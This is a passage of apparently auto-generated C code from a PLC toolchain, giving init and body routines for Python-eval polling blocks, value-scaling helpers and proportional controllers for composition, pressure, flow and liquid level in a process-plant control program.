__INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( 